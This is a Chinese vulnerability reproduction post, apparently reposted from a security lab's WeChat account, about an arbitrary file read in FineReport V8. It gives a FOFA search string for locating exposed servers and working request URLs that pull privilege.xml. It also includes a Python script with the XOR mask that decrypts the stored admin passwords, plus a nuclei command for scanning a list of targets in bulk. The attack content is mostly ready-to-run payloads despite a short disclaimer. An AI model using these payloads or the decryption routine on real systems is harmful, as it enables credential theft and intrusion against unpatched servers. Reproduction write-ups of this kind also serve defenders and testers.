漏洞复现 帆软报表 V8 get_geo_json 任意文件读取漏洞

admin 2023年2月27日23:09:36评论772 views字数 1321阅读4分24秒阅读模式

0x01 阅读须知

融云安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!

0x02 漏洞描述

FineReport每次发布新版本,都会让整个IT行业为之一振,带来一股帆软旋风。帆软公司用实际的行动,FineReport用突出的表现,再一次向外界证明,报表软件不是简简单单的细分领域软件,而是非常基础的、重要的软件,凡是有数据库的地方,都可以用报表软件。FineReport v8.0版本存在任意文件读取漏洞,攻击者可利用漏洞读取网站任意文件。漏洞复现 帆软报表 V8 get_geo_json 任意文件读取漏洞

0x03 漏洞复现

fofabody="isSupportForgetPwd"

1.执行如下POC可执行获取账号和加密后的密码

{{BaseURL}}/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml{{BaseURL}}/report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml

漏洞复现 帆软报表 V8 get_geo_json 任意文件读取漏洞

2.使用如下解密脚本可解密得到密码

cipher = '___0072002a00670066000a' #密文PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] #掩码Password = ""cipher = cipher[3:] #截断三位后for i in range(int(len(cipher) / 4)):    c1 = int("0x" + cipher[i * 4:(i + 1) * 4], 16)    c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]    Password = Password + chr(c2)print (Password)

漏洞复现 帆软报表 V8 get_geo_json 任意文件读取漏洞

3.nuclei验证脚本已发表于知识星球(目前外网没有,内网比较多)

nuclei.exe -t FanruanOA_read.yaml -l subs.txt -stats

漏洞复现 帆软报表 V8 get_geo_json 任意文件读取漏洞

网络安全神兵利器分享
网络安全漏洞N/0day分享
    加入星球请扫描下方二维码,更多精,敬请期待!
👇👇👇

漏洞复现 帆软报表 V8 get_geo_json 任意文件读取漏洞

0x04 公司简介

江西渝融云安全科技有限公司,2017年发展至今,已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司,是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
    公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证,拥有软件著作权十八项;荣获2020年全国工控安全深度行安全攻防对抗赛三等奖;庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......

编制:sm

审核:fjh

审核:Dog


1个漏洞复现 帆软报表 V8 get_geo_json 任意文件读取漏洞1朵漏洞复现 帆软报表 V8 get_geo_json 任意文件读取漏洞5毛钱

天天搬砖的小M

能不能吃顿好的

就看你们的啦

漏洞复现 帆软报表 V8 get_geo_json 任意文件读取漏洞


原文始发于微信公众号(融云攻防实验室):漏洞复现 帆软报表 V8 get_geo_json 任意文件读取漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月27日23:09:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现 帆软报表 V8 get_geo_json 任意文件读取漏洞http://cn-sec.com/archives/1578848.html

发表评论

匿名网友 填写信息